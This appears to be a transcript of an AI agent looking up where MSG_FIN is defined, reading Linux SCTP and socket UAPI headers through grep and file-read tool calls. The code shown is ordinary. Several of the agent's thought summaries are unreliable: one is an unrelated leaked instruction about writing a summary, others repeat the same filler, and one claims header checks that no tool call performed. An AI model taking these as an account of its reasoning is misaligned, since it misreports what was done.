 338:		SCTP_NXTINFO,		/* 5.3.6 SCTP Next Receive Information Structure */
 339:	#define SCTP_NXTINFO	SCTP_NXTINFO
 340:		SCTP_PRINFO,		/* 5.3.7 SCTP PR-SCTP Information Structure */
 341:	#define SCTP_PRINFO	SCTP_PRINFO
 342:		SCTP_AUTHINFO,		/* 5.3.8 SCTP AUTH Information Structure */
 343:	#define SCTP_AUTHINFO	SCTP_AUTHINFO
 344:		SCTP_DSTADDRV4,		/* 5.3.9 SCTP Destination IPv4 Address Structure */
 345:	#define SCTP_DSTADDRV4	SCTP_DSTADDRV4
 346:		SCTP_DSTADDRV6,		/* 5.3.10 SCTP Destination IPv6 Address Structure */
 347:	#define SCTP_DSTADDRV6	SCTP_DSTADDRV6
 348:	} sctp_cmsg_t;
 349:	
 350:	/*
 351:	 * 5.3.1.1 SCTP_ASSOC_CHANGE
 352:	 *
 353:	 *   Communication notifications inform the ULP that an SCTP association
 354:	 *   has either begun or ended. The identifier for a new association is
 355:	 *   provided by this notificaion. The notification information has the
 356:	 *   following format:
 357:	 *
 358:	 */
 359:	struct sctp_assoc_change {
 360:		__u16 sac_type;
 361:		__u16 sac_flags;
 362:		__u32 sac_length;
 363:		__u16 sac_state;
 364:		__u16 sac_error;
 365:		__u16 sac_outbound_streams;
 366:		__u16 sac_inbound_streams;
 367:		sctp_assoc_t sac_assoc_id;
 368:		__u8 sac_info[];
 369:	};
 370:	
 371:	/*
 372:	 *   sac_state: 32 bits (signed integer)
 373:	 *
 374:	 *   This field holds one of a number of values that communicate the
 375:	 *   event that happened to the association.  They include:
 376:	 *
 377:	 *   Note:  The following state names deviate from the API draft as
 378:	 *   the names clash too easily with other kernel symbols.
 379:	 */
 380:	enum sctp_sac_state {
 381:		SCTP_COMM_UP,
 382:		SCTP_COMM_LOST,
 383:		SCTP_RESTART,
 384:		SCTP_SHUTDOWN_COMP,
 385:		SCTP_CANT_STR_ASSOC,
 386:	};
 387:	
 388:	/*
 389:	 * 5.3.1.2 SCTP_PEER_ADDR_CHANGE
 390:	 *
 391:	 *   When a destination address on a multi-homed peer encounters a change
 392:	 *   an interface details event is sent.  The information has the
 393:	 *   following structure:
 394:	 */
 395:	struct sctp_paddr_change {
 396:		__u16 spc_type;
 397:		__u16 spc_flags;
 398:		__u32 spc_length;
 399:		struct sockaddr_storage spc_aaddr;
 400:		int spc_state;
]

gemini-3.7-flash

							input: 11108
							output: 24
							thoughts: 136
						

**My Thought Process Unraveling a Subtle Code Dependency**

My attention was immediately snagged by a couple of seemingly straightforward definitions in the code: `SCTP_NOTIFICATION = MSG_NOTIFICATION` and `SCTP_EOF = MSG_FIN`. At first glance, these appear to be simple aliasing or mapping within the SCTP (Stream Control Transmission Protocol) subsystem. However, the devil, as always, is in the details, especially in kernel-level programming where dependencies can be deeply nested.

My immediate question arose regarding `MSG_FIN`. Where is *that* defined? It's not immediately obvious that it would be part of the core SCTP definitions themselves. This prompted me to investigate its origin. My first port of call, as is standard practice for understanding kernel interfaces, was the relevant header file: `include/uapi/linux/sctp.h`. I scanned this file, looking for any clues about `MSG_FIN`.

As I reviewed `sctp.h`, I noted the standard includes:
Line 57: `#include <linux/types.h>`
Line 58: `#include <linux/socket.h>`

This second include, `linux/socket.h`, immediately caught my eye. The `MSG_` prefix is highly suggestive of flags used in socket operations, and `socket.h` is precisely where one would expect such general socket-related definitions to reside. Therefore, my next logical step was to delve into `include/uapi/linux/socket.h` to confirm whether `MSG_FIN` was indeed defined there. This is how I would trace the lineage of such constants, ensuring I understand the complete picture of their availability and context within the kernel's API.

map[Expression:MSG_FIN PathPrefix:include]

map[Output:include/linux/socket.h=197=struct ucred {
--
include/linux/socket.h-327-#define MSG_WAITALL	0x100	/* Wait for a full request */
include/linux/socket.h:328:#define MSG_FIN         0x200
include/linux/socket.h-329-#define MSG_SYN		0x400
--
include/linux/socket.h-337-#define MSG_BATCH	0x40000 /* sendmmsg(): more messages coming */
include/linux/socket.h:338:#define MSG_EOF         MSG_FIN
include/linux/socket.h-339-#define MSG_NO_SHARED_FRAGS 0x80000 /* sendpage() internal : page frags are not shared */
--
include/uapi/linux/sctp.h=310=enum sctp_sinfo_flags {
--
include/uapi/linux/sctp.h-318-	SCTP_NOTIFICATION	= MSG_NOTIFICATION, /* Next message is not user msg but notification. */
include/uapi/linux/sctp.h:319:	SCTP_EOF		= MSG_FIN,  /* Initiate graceful shutdown process. */
include/uapi/linux/sctp.h-320-};
]

gemini-3.7-flash

							input: 11592
							output: 32
							thoughts: 66
						

**My Thought Process on `MSG_FIN`'s Location**

Hold on a second! My mind just snagged on something. I'm looking at the definition of `MSG_FIN`, and I've located it in `include/linux/socket.h` on line 328. That's the kernel-internal header, right? But the critical question that immediately pops into my head, as someone who deals with the kernel's public interfaces, is: is `MSG_FIN` also exposed in the user-space API header? Specifically, is it present in `include/uapi/linux/socket.h`? This is crucial for anyone writing applications that need to interact with socket options at the `MSG_` level. My next step, without a doubt, is to dive into `include/uapi/linux/socket.h` and verify its presence there.

log-in to see details

map[Expression:MSG_ PathPrefix:include/uapi/linux/socket.h]

map[Output:]

gemini-3.7-flash

							input: 11688
							output: 36
							thoughts: 17
						

**My Journey Through `include/uapi/linux/socket.h`**

Alright, so my current focus is delving into the `include/uapi/linux/socket.h` file. I'm treating this as a direct exploration, almost like I'm physically navigating the code. My immediate goal is to understand the fundamental building blocks of socket communication within the Linux kernel's user-API interface. This header file, by its very nature, is going to lay out the essential data structures, constants, and protocol families that define how applications interact with the networking stack. I expect to encounter definitions for things like `struct sockaddr`, the various address families (like AF_INET for IPv4, AF_INET6 for IPv6, AF_UNIX for local communication), and perhaps some of the core socket options and flags. My mental model is that this is the bedrock upon which all socket programming in Linux is built, so getting a firm grasp of its contents is paramount before I move on to more complex networking concepts or specific socket implementations. I'm essentially trying to internalize the vocabulary and the fundamental concepts that govern how processes establish and manage network connections at a low level.

map[File:include/uapi/linux/socket.h FirstLine:1 LineCount:50]

map[Contents:   1:	/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
   2:	#ifndef _UAPI_LINUX_SOCKET_H
   3:	#define _UAPI_LINUX_SOCKET_H
   4:	
   5:	/*
   6:	 * Desired design of maximum size and alignment (see RFC2553)
   7:	 */
   8:	#define _K_SS_MAXSIZE	128	/* Implementation specific max size */
   9:	
  10:	typedef unsigned short __kernel_sa_family_t;
  11:	
  12:	/*
  13:	 * The definition uses anonymous union and struct in order to control the
  14:	 * default alignment.
  15:	 */
  16:	struct __kernel_sockaddr_storage {
  17:		union {
  18:			struct {
  19:				__kernel_sa_family_t	ss_family; /* address family */
  20:				/* Following field(s) are implementation specific */
  21:				char __data[_K_SS_MAXSIZE - sizeof(unsigned short)];
  22:					/* space to achieve desired size, */
  23:					/* _SS_MAXSIZE value minus size of ss_family */
  24:			};
  25:			void *__align; /* implementation specific desired alignment */
  26:		};
  27:	};
  28:	
  29:	#define SOCK_SNDBUF_LOCK	1
  30:	#define SOCK_RCVBUF_LOCK	2
  31:	
  32:	#define SOCK_BUF_LOCK_MASK (SOCK_SNDBUF_LOCK | SOCK_RCVBUF_LOCK)
  33:	
  34:	#define SOCK_TXREHASH_DEFAULT	255
  35:	#define SOCK_TXREHASH_DISABLED	0
  36:	#define SOCK_TXREHASH_ENABLED	1
  37:	
  38:	#endif /* _UAPI_LINUX_SOCKET_H */
]

gemini-3.7-flash

							input: 12259
							output: 41
							thoughts: 289
						

**My Investigation into the Mysterious `MSG_FIN`**

My immediate observation, and frankly a point of significant confusion, is that `MSG_FIN` simply isn't present in `include/uapi/linux/socket.h`. This is where I'd expect to find it, given its apparent usage. This immediately sparks a cascade of questions: if it's not in the core kernel API headers, where is it being defined for userspace applications? Is it something provided by the C library itself, like glibc or musl? Or is it perhaps defined in a different socket-related header?

My thought process then pivots to exploring these possibilities. I start by systematically checking the common userspace socket headers: `<sys/socket.h>` and `<netinet/in.h>`. I'm also double-checking the Linux-specific socket header, `<linux/socket.h>`, though I've already established the primary one seems to be missing the definition.

As I delve deeper, the realization dawns that `MSG_FIN` isn't a standard POSIX or Linux socket option found in the usual `<sys/socket.h>` or `<netinet/in.h>`. This intensifies the puzzle. My next line of inquiry is to scrutinize the C library's internal headers. I'm thinking about glibc's specific header structure – could `MSG_FIN` be buried within `<sys/socket.h>` or perhaps a more internal header like `<bits/socket.h>`?

The lack of a clear definition in these common places leads me to consider that `MSG_FIN` might be associated with a more specialized protocol or feature. My attention is drawn to SCTP. My strategy then becomes to meticulously examine the git history and source code of `include/uapi/linux/sctp.h`. I'm looking for any trace of `MSG_FIN`, or related flags like `MSG_NOTIFICATION`, and I'm also keeping an eye out for its potential context within structures like `sockaddr_storage`, `struct sockaddr_in`, or `struct in6_addr`, as these are often involved in socket communications.

Before I dive into the git logs, my most logical next step is to actually read through the entire contents of `include/uapi/linux/sctp.h`. This seems like the most direct way to ascertain whether `MSG_FIN` is defined there, and if so, in what context it's used.

map[File:include/uapi/linux/sctp.h FirstLine:401 LineCount:100]

map[Contents: 401:		int spc_error;
 402:		sctp_assoc_t spc_assoc_id;
 403:	} __attribute__((packed, aligned(4)));
 404:	
 405:	/*
 406:	 *    spc_state:  32 bits (signed integer)
 407:	 *
 408:	 *   This field holds one of a number of values that communicate the
 409:	 *   event that happened to the address.  They include:
 410:	 */
 411:	enum sctp_spc_state {
 412:		SCTP_ADDR_AVAILABLE,
 413:		SCTP_ADDR_UNREACHABLE,
 414:		SCTP_ADDR_REMOVED,
 415:		SCTP_ADDR_ADDED,
 416:		SCTP_ADDR_MADE_PRIM,
 417:		SCTP_ADDR_CONFIRMED,
 418:		SCTP_ADDR_POTENTIALLY_FAILED,
 419:	#define SCTP_ADDR_PF	SCTP_ADDR_POTENTIALLY_FAILED
 420:	};
 421:	
 422:	
 423:	/*
 424:	 * 5.3.1.3 SCTP_REMOTE_ERROR
 425:	 *
 426:	 *   A remote peer may send an Operational Error message to its peer.
 427:	 *   This message indicates a variety of error conditions on an
 428:	 *   association. The entire error TLV as it appears on the wire is
 429:	 *   included in a SCTP_REMOTE_ERROR event.  Please refer to the SCTP
 430:	 *   specification [SCTP] and any extensions for a list of possible
 431:	 *   error formats. SCTP error TLVs have the format:
 432:	 */
 433:	struct sctp_remote_error {
 434:		__u16 sre_type;
 435:		__u16 sre_flags;
 436:		__u32 sre_length;
 437:		__be16 sre_error;
 438:		sctp_assoc_t sre_assoc_id;
 439:		__u8 sre_data[];
 440:	};
 441:	
 442:	
 443:	/*
 444:	 * 5.3.1.4 SCTP_SEND_FAILED
 445:	 *
 446:	 *   If SCTP cannot deliver a message it may return the message as a
 447:	 *   notification.
 448:	 */
 449:	struct sctp_send_failed {
 450:		__u16 ssf_type;
 451:		__u16 ssf_flags;
 452:		__u32 ssf_length;
 453:		__u32 ssf_error;
 454:		struct sctp_sndrcvinfo ssf_info;
 455:		sctp_assoc_t ssf_assoc_id;
 456:		__u8 ssf_data[];
 457:	};
 458:	
 459:	struct sctp_send_failed_event {
 460:		__u16 ssf_type;
 461:		__u16 ssf_flags;
 462:		__u32 ssf_length;
 463:		__u32 ssf_error;
 464:		struct sctp_sndinfo ssfe_info;
 465:		sctp_assoc_t ssf_assoc_id;
 466:		__u8 ssf_data[];
 467:	};
 468:	
 469:	/*
 470:	 *   ssf_flags: 16 bits (unsigned integer)
 471:	 *
 472:	 *   The flag value will take one of the following values
 473:	 *
 474:	 *   SCTP_DATA_UNSENT  - Indicates that the data was never put on
 475:	 *                       the wire.
 476:	 *
 477:	 *   SCTP_DATA_SENT    - Indicates that the data was put on the wire.
 478:	 *                       Note that this does not necessarily mean that the
 479:	 *                       data was (or was not) successfully delivered.
 480:	 */
 481:	enum sctp_ssf_flags {
 482:		SCTP_DATA_UNSENT,
 483:		SCTP_DATA_SENT,
 484:	};
 485:	
 486:	/*
 487:	 * 5.3.1.5 SCTP_SHUTDOWN_EVENT
 488:	 *
 489:	 *   When a peer sends a SHUTDOWN, SCTP delivers this notification to
 490:	 *   inform the application that it should cease sending data.
 491:	 */
 492:	struct sctp_shutdown_event {
 493:		__u16 sse_type;
 494:		__u16 sse_flags;
 495:		__u32 sse_length;
 496:		sctp_assoc_t sse_assoc_id;
 497:	};
 498:	
 499:	/*
 500:	 * 5.3.1.6 SCTP_ADAPTATION_INDICATION
]

gemini-3.7-flash

							input: 14087
							output: 41
							thoughts: 19
						

**My Thought Process on Exploring `sctp.h`**

Alright, let's dive back into `include/uapi/linux/sctp.h`. I'm continuing my examination of this header file, intending to gain a deeper understanding of the Socket Application Programming Interface (API) structures and constants relevant to the Stream Control Transmission Protocol (SCTP) in the Linux kernel. My goal here is to consolidate my knowledge of the user-space-facing aspects of SCTP, so I can effectively work with it from an application development perspective. I'm looking to identify key data structures, flags, and enumeration values that define how applications interact with SCTP sockets, manage connections, and control protocol behavior. This involves paying close attention to the definitions of structures like `sctp_init_msg`, `sctp_sndrcvinfo`, and various socket option structures, as well as the associated constants that govern their usage. Ultimately, this exploration is about building a robust mental model of the SCTP API as exposed by the Linux kernel, enabling me to write more informed and efficient SCTP applications.

map[File:include/uapi/linux/sctp.h FirstLine:501 LineCount:100]

map[Contents: 501:	 *
 502:	 *   When a peer sends a Adaptation Layer Indication parameter , SCTP
 503:	 *   delivers this notification to inform the application
 504:	 *   that of the peers requested adaptation layer.
 505:	 */
 506:	struct sctp_adaptation_event {
 507:		__u16 sai_type;
 508:		__u16 sai_flags;
 509:		__u32 sai_length;
 510:		__u32 sai_adaptation_ind;
 511:		sctp_assoc_t sai_assoc_id;
 512:	};
 513:	
 514:	/*
 515:	 * 5.3.1.7 SCTP_PARTIAL_DELIVERY_EVENT
 516:	 *
 517:	 *   When a receiver is engaged in a partial delivery of a
 518:	 *   message this notification will be used to indicate
 519:	 *   various events.
 520:	 */
 521:	struct sctp_pdapi_event {
 522:		__u16 pdapi_type;
 523:		__u16 pdapi_flags;
 524:		__u32 pdapi_length;
 525:		__u32 pdapi_indication;
 526:		sctp_assoc_t pdapi_assoc_id;
 527:		__u32 pdapi_stream;
 528:		__u32 pdapi_seq;
 529:	};
 530:	
 531:	enum { SCTP_PARTIAL_DELIVERY_ABORTED=0, };
 532:	
 533:	/*
 534:	 * 5.3.1.8.  SCTP_AUTHENTICATION_EVENT
 535:	 *
 536:	 *  When a receiver is using authentication this message will provide
 537:	 *  notifications regarding new keys being made active as well as errors.
 538:	 */
 539:	struct sctp_authkey_event {
 540:		__u16 auth_type;
 541:		__u16 auth_flags;
 542:		__u32 auth_length;
 543:		__u16 auth_keynumber;
 544:		__u16 auth_altkeynumber;
 545:		__u32 auth_indication;
 546:		sctp_assoc_t auth_assoc_id;
 547:	};
 548:	
 549:	enum {
 550:		SCTP_AUTH_NEW_KEY,
 551:	#define	SCTP_AUTH_NEWKEY	SCTP_AUTH_NEW_KEY /* compatible with before */
 552:		SCTP_AUTH_FREE_KEY,
 553:		SCTP_AUTH_NO_AUTH,
 554:	};
 555:	
 556:	/*
 557:	 * 6.1.9. SCTP_SENDER_DRY_EVENT
 558:	 *
 559:	 * When the SCTP stack has no more user data to send or retransmit, this
 560:	 * notification is given to the user. Also, at the time when a user app
 561:	 * subscribes to this event, if there is no data to be sent or
 562:	 * retransmit, the stack will immediately send up this notification.
 563:	 */
 564:	struct sctp_sender_dry_event {
 565:		__u16 sender_dry_type;
 566:		__u16 sender_dry_flags;
 567:		__u32 sender_dry_length;
 568:		sctp_assoc_t sender_dry_assoc_id;
 569:	};
 570:	
 571:	#define SCTP_STREAM_RESET_INCOMING_SSN	0x0001
 572:	#define SCTP_STREAM_RESET_OUTGOING_SSN	0x0002
 573:	#define SCTP_STREAM_RESET_DENIED	0x0004
 574:	#define SCTP_STREAM_RESET_FAILED	0x0008
 575:	struct sctp_stream_reset_event {
 576:		__u16 strreset_type;
 577:		__u16 strreset_flags;
 578:		__u32 strreset_length;
 579:		sctp_assoc_t strreset_assoc_id;
 580:		__u16 strreset_stream_list[];
 581:	};
 582:	
 583:	#define SCTP_ASSOC_RESET_DENIED		0x0004
 584:	#define SCTP_ASSOC_RESET_FAILED		0x0008
 585:	struct sctp_assoc_reset_event {
 586:		__u16 assocreset_type;
 587:		__u16 assocreset_flags;
 588:		__u32 assocreset_length;
 589:		sctp_assoc_t assocreset_assoc_id;
 590:		__u32 assocreset_local_tsn;
 591:		__u32 assocreset_remote_tsn;
 592:	};
 593:	
 594:	#define SCTP_ASSOC_CHANGE_DENIED	0x0004
 595:	#define SCTP_ASSOC_CHANGE_FAILED	0x0008
 596:	#define SCTP_STREAM_CHANGE_DENIED	SCTP_ASSOC_CHANGE_DENIED
 597:	#define SCTP_STREAM_CHANGE_FAILED	SCTP_ASSOC_CHANGE_FAILED
 598:	struct sctp_stream_change_event {
 599:		__u16 strchange_type;
 600:		__u16 strchange_flags;
]

gemini-3.7-flash

							input: 15768
							output: 41
							thoughts: 20
						

**My Thought Process on Delving into `include/uapi/linux/sctp.h`**

Alright, I'm going to dive deeper into the `include/uapi/linux/sctp.h` header file. My goal here is to really get a handle on the specifics of the SCTP (Stream Control Transmission Protocol) as exposed through this user-space API. I'm not just looking for a surface-level understanding; I want to grasp the nuances of how applications are meant to interact with SCTP, the available options, the control structures, and any essential constants that define its behavior. I anticipate this will involve understanding things like socket options, association management parameters, message types, and potentially any data structures that facilitate message fragmentation and reassembly or other advanced SCTP features. My expectation is that this header file will be the primary gatekeeper for any user-space program wanting to leverage the robust capabilities of SCTP, so a thorough examination is critical for anyone intending to work with it at this level.

map[File:include/uapi/linux/sctp.h FirstLine:601 LineCount:100]

map[Contents: 601:		__u32 strchange_length;
 602:		sctp_assoc_t strchange_assoc_id;
 603:		__u16 strchange_instrms;
 604:		__u16 strchange_outstrms;
 605:	};
 606:	
 607:	/*
 608:	 * Described in Section 7.3
 609:	 *   Ancillary Data and Notification Interest Options
 610:	 */
 611:	struct sctp_event_subscribe {
 612:		__u8 sctp_data_io_event;
 613:		__u8 sctp_association_event;
 614:		__u8 sctp_address_event;
 615:		__u8 sctp_send_failure_event;
 616:		__u8 sctp_peer_error_event;
 617:		__u8 sctp_shutdown_event;
 618:		__u8 sctp_partial_delivery_event;
 619:		__u8 sctp_adaptation_layer_event;
 620:		__u8 sctp_authentication_event;
 621:		__u8 sctp_sender_dry_event;
 622:		__u8 sctp_stream_reset_event;
 623:		__u8 sctp_assoc_reset_event;
 624:		__u8 sctp_stream_change_event;
 625:		__u8 sctp_send_failure_event_event;
 626:	};
 627:	
 628:	/*
 629:	 * 5.3.1 SCTP Notification Structure
 630:	 *
 631:	 *   The notification structure is defined as the union of all
 632:	 *   notification types.
 633:	 *
 634:	 */
 635:	union sctp_notification {
 636:		struct {
 637:			__u16 sn_type;             /* Notification type. */
 638:			__u16 sn_flags;
 639:			__u32 sn_length;
 640:		} sn_header;
 641:		struct sctp_assoc_change sn_assoc_change;
 642:		struct sctp_paddr_change sn_paddr_change;
 643:		struct sctp_remote_error sn_remote_error;
 644:		struct sctp_send_failed sn_send_failed;
 645:		struct sctp_shutdown_event sn_shutdown_event;
 646:		struct sctp_adaptation_event sn_adaptation_event;
 647:		struct sctp_pdapi_event sn_pdapi_event;
 648:		struct sctp_authkey_event sn_authkey_event;
 649:		struct sctp_sender_dry_event sn_sender_dry_event;
 650:		struct sctp_stream_reset_event sn_strreset_event;
 651:		struct sctp_assoc_reset_event sn_assocreset_event;
 652:		struct sctp_stream_change_event sn_strchange_event;
 653:		struct sctp_send_failed_event sn_send_failed_event;
 654:	};
 655:	
 656:	/* Section 5.3.1
 657:	 * All standard values for sn_type flags are greater than 2^15.
 658:	 * Values from 2^15 and down are reserved.
 659:	 */
 660:	
 661:	enum sctp_sn_type {
 662:		SCTP_SN_TYPE_BASE	= (1<<15),
 663:		SCTP_DATA_IO_EVENT	= SCTP_SN_TYPE_BASE,
 664:	#define SCTP_DATA_IO_EVENT		SCTP_DATA_IO_EVENT
 665:		SCTP_ASSOC_CHANGE,
 666:	#define SCTP_ASSOC_CHANGE		SCTP_ASSOC_CHANGE
 667:		SCTP_PEER_ADDR_CHANGE,
 668:	#define SCTP_PEER_ADDR_CHANGE		SCTP_PEER_ADDR_CHANGE
 669:		SCTP_SEND_FAILED,
 670:	#define SCTP_SEND_FAILED		SCTP_SEND_FAILED
 671:		SCTP_REMOTE_ERROR,
 672:	#define SCTP_REMOTE_ERROR		SCTP_REMOTE_ERROR
 673:		SCTP_SHUTDOWN_EVENT,
 674:	#define SCTP_SHUTDOWN_EVENT		SCTP_SHUTDOWN_EVENT
 675:		SCTP_PARTIAL_DELIVERY_EVENT,
 676:	#define SCTP_PARTIAL_DELIVERY_EVENT	SCTP_PARTIAL_DELIVERY_EVENT
 677:		SCTP_ADAPTATION_INDICATION,
 678:	#define SCTP_ADAPTATION_INDICATION	SCTP_ADAPTATION_INDICATION
 679:		SCTP_AUTHENTICATION_EVENT,
 680:	#define SCTP_AUTHENTICATION_INDICATION	SCTP_AUTHENTICATION_EVENT
 681:		SCTP_SENDER_DRY_EVENT,
 682:	#define SCTP_SENDER_DRY_EVENT		SCTP_SENDER_DRY_EVENT
 683:		SCTP_STREAM_RESET_EVENT,
 684:	#define SCTP_STREAM_RESET_EVENT		SCTP_STREAM_RESET_EVENT
 685:		SCTP_ASSOC_RESET_EVENT,
 686:	#define SCTP_ASSOC_RESET_EVENT		SCTP_ASSOC_RESET_EVENT
 687:		SCTP_STREAM_CHANGE_EVENT,
 688:	#define SCTP_STREAM_CHANGE_EVENT	SCTP_STREAM_CHANGE_EVENT
 689:		SCTP_SEND_FAILED_EVENT,
 690:	#define SCTP_SEND_FAILED_EVENT		SCTP_SEND_FAILED_EVENT
 691:		SCTP_SN_TYPE_MAX	= SCTP_SEND_FAILED_EVENT,
 692:	#define SCTP_SN_TYPE_MAX		SCTP_SN_TYPE_MAX
 693:	};
 694:	
 695:	/* Notification error codes used to fill up the error fields in some
 696:	 * notifications.
 697:	 * SCTP_PEER_ADDRESS_CHAGE 	: spc_error
 698:	 * SCTP_ASSOC_CHANGE		: sac_error
 699:	 * These names should be potentially included in the draft 04 of the SCTP
 700:	 * sockets API specification.
]

gemini-3.7-flash

							input: 17666
							output: 41
							thoughts: 6
						

**My Thought Process for Approaching This Text**

Ah, I see. The instruction is to summarize this text, but not just in a detached, objective manner. I need to embody the thoughts described, expressing them in the first person as if they are *my own* internal monologue. The output should be a "fulsome summary," meaning it needs to be thorough and comprehensive, detailing the entire thought process. And crucially, I'm to assume the user is an expert in their field, which means I can skip over the basics and delve into the nuanced reasoning and implications.

My initial reaction upon seeing the text is a simple, direct impulse: "Let's read further." This signifies an immediate engagement and a desire to absorb more information. It's not just passive reading; it's an active pursuit of knowledge. I'm not content with just the surface level; I want to dig deeper, understand the context, the arguments, the evidence, and the conclusions being presented. This inherent curiosity is the driving force behind my subsequent analytical steps.

As I begin to process the content, I'll be looking for the core thesis or argument. What is the central idea the author is trying to convey? I'll be dissecting the structure of the text – how is the argument built? Are there distinct sections, a logical flow, or perhaps a more thematic approach? I'll be paying close attention to the supporting evidence. What kind of evidence is being used? Is it empirical data, theoretical constructs, historical examples, or something else entirely? My expert background means I'll be critically evaluating the *quality* and *relevance* of this evidence. Is it robust? Is it biased? Does it truly support the claims being made?

Furthermore, I'll be considering the author's methodology. How did they arrive at their conclusions? What assumptions are they making? Are these assumptions valid within my field of expertise? I'll be looking for potential gaps, inconsistencies, or areas where the argument could be challenged or strengthened. This isn't about finding fault for the sake of it, but about a rigorous intellectual exercise to fully grasp the text's contribution and limitations.

I'll also be thinking about the implications of the text. What does this mean for our current understanding in this field? Does it introduce a new perspective, challenge existing paradigms, or offer practical applications? As an expert, I'm not just consuming information; I'm integrating it into my existing knowledge base and considering its potential impact. This involves thinking about how this text might influence future research, policy, or practice.

Finally, the "fulsome summary" requirement means I need to articulate this entire internal process. I'll need to explain *why* I read further, *what* I was looking for as I read, *how* I was evaluating the information, and *what* conclusions I'm drawing from the text and my own thought process. It’s about laying bare the intellectual journey, from that initial spark of curiosity to the comprehensive understanding of the material and its significance, all from my perspective as a seasoned professional.

map[File:include/uapi/linux/sctp.h FirstLine:701 LineCount:100]

map[Contents: 701:	 */
 702:	typedef enum sctp_sn_error {
 703:		SCTP_FAILED_THRESHOLD,
 704:		SCTP_RECEIVED_SACK,
 705:		SCTP_HEARTBEAT_SUCCESS,
 706:		SCTP_RESPONSE_TO_USER_REQ,
 707:		SCTP_INTERNAL_ERROR,
 708:		SCTP_SHUTDOWN_GUARD_EXPIRES,
 709:		SCTP_PEER_FAULTY,
 710:	} sctp_sn_error_t;
 711:	
 712:	/*
 713:	 * 7.1.1 Retransmission Timeout Parameters (SCTP_RTOINFO)
 714:	 *
 715:	 *   The protocol parameters used to initialize and bound retransmission
 716:	 *   timeout (RTO) are tunable.  See [SCTP] for more information on how
 717:	 *   these parameters are used in RTO calculation.
 718:	 */
 719:	struct sctp_rtoinfo {
 720:		sctp_assoc_t	srto_assoc_id;
 721:		__u32		srto_initial;
 722:		__u32		srto_max;
 723:		__u32		srto_min;
 724:	};
 725:	
 726:	/*
 727:	 * 7.1.2 Association Parameters (SCTP_ASSOCINFO)
 728:	 *
 729:	 *   This option is used to both examine and set various association and
 730:	 *   endpoint parameters.
 731:	 */
 732:	struct sctp_assocparams {
 733:		sctp_assoc_t	sasoc_assoc_id;
 734:		__u16		sasoc_asocmaxrxt;
 735:		__u16		sasoc_number_peer_destinations;
 736:		__u32		sasoc_peer_rwnd;
 737:		__u32		sasoc_local_rwnd;
 738:		__u32		sasoc_cookie_life;
 739:	};
 740:	
 741:	/*
 742:	 * 7.1.9 Set Peer Primary Address (SCTP_SET_PEER_PRIMARY_ADDR)
 743:	 *
 744:	 *  Requests that the peer mark the enclosed address as the association
 745:	 *  primary. The enclosed address must be one of the association's
 746:	 *  locally bound addresses. The following structure is used to make a
 747:	 *   set primary request:
 748:	 */
 749:	struct sctp_setpeerprim {
 750:		sctp_assoc_t            sspp_assoc_id;
 751:		struct sockaddr_storage sspp_addr;
 752:	} __attribute__((packed, aligned(4)));
 753:	
 754:	/*
 755:	 * 7.1.10 Set Primary Address (SCTP_PRIMARY_ADDR)
 756:	 *
 757:	 *  Requests that the local SCTP stack use the enclosed peer address as
 758:	 *  the association primary. The enclosed address must be one of the
 759:	 *  association peer's addresses. The following structure is used to
 760:	 *  make a set peer primary request:
 761:	 */
 762:	struct sctp_prim {
 763:		sctp_assoc_t            ssp_assoc_id;
 764:		struct sockaddr_storage ssp_addr;
 765:	} __attribute__((packed, aligned(4)));
 766:	
 767:	/* For backward compatibility use, define the old name too */
 768:	#define sctp_setprim	sctp_prim
 769:	
 770:	/*
 771:	 * 7.1.11 Set Adaptation Layer Indicator (SCTP_ADAPTATION_LAYER)
 772:	 *
 773:	 * Requests that the local endpoint set the specified Adaptation Layer
 774:	 * Indication parameter for all future INIT and INIT-ACK exchanges.
 775:	 */
 776:	struct sctp_setadaptation {
 777:		__u32	ssb_adaptation_ind;
 778:	};
 779:	
 780:	/*
 781:	 * 7.1.13 Peer Address Parameters  (SCTP_PEER_ADDR_PARAMS)
 782:	 *
 783:	 *   Applications can enable or disable heartbeats for any peer address
 784:	 *   of an association, modify an address's heartbeat interval, force a
 785:	 *   heartbeat to be sent immediately, and adjust the address's maximum
 786:	 *   number of retransmissions sent before an address is considered
 787:	 *   unreachable. The following structure is used to access and modify an
 788:	 *   address's parameters:
 789:	 */
 790:	enum  sctp_spp_flags {
 791:		SPP_HB_ENABLE = 1<<0,		/*Enable heartbeats*/
 792:		SPP_HB_DISABLE = 1<<1,		/*Disable heartbeats*/
 793:		SPP_HB = SPP_HB_ENABLE | SPP_HB_DISABLE,
 794:		SPP_HB_DEMAND = 1<<2,		/*Send heartbeat immediately*/
 795:		SPP_PMTUD_ENABLE = 1<<3,	/*Enable PMTU discovery*/
 796:		SPP_PMTUD_DISABLE = 1<<4,	/*Disable PMTU discovery*/
 797:		SPP_PMTUD = SPP_PMTUD_ENABLE | SPP_PMTUD_DISABLE,
 798:		SPP_SACKDELAY_ENABLE = 1<<5,	/*Enable SACK*/
 799:		SPP_SACKDELAY_DISABLE = 1<<6,	/*Disable SACK*/
 800:		SPP_SACKDELAY = SPP_SACKDELAY_ENABLE | SPP_SACKDELAY_DISABLE,
]

gemini-3.7-flash

							input: 19417
							output: 41
							thoughts: 20
						

**My Thought Process on Delving into `include/uapi/linux/sctp.h`**

Alright, I'm going to dive deeper into the `include/uapi/linux/sctp.h` header file. My goal here is to really get a handle on the specifics of the SCTP (Stream Control Transmission Protocol) as exposed through this user-space API. I'm not just looking for a surface-level understanding; I want to grasp the nuances of how applications are meant to interact with SCTP, the available options, the control structures, and any essential constants that define its behavior. I anticipate this will involve understanding things like socket options, association management parameters, message types, and potentially any data structures that facilitate message fragmentation and reassembly or other advanced SCTP features. My expectation is that this header file will be the primary gatekeeper for any user-space program wanting to leverage the robust capabilities of SCTP, so a thorough examination is critical for anyone intending to work with it at this level.

map[File:include/uapi/linux/sctp.h FirstLine:801 LineCount:100]

map[Contents: 801:		SPP_HB_TIME_IS_ZERO = 1<<7,	/* Set HB delay to 0 */
 802:		SPP_IPV6_FLOWLABEL = 1<<8,
 803:		SPP_DSCP = 1<<9,
 804:	};
 805:	
 806:	struct sctp_paddrparams {
 807:		sctp_assoc_t		spp_assoc_id;
 808:		struct sockaddr_storage	spp_address;
 809:		__u32			spp_hbinterval;
 810:		__u16			spp_pathmaxrxt;
 811:		__u32			spp_pathmtu;
 812:		__u32			spp_sackdelay;
 813:		__u32			spp_flags;
 814:		__u32			spp_ipv6_flowlabel;
 815:		__u8			spp_dscp;
 816:	} __attribute__((packed, aligned(4)));
 817:	
 818:	/*
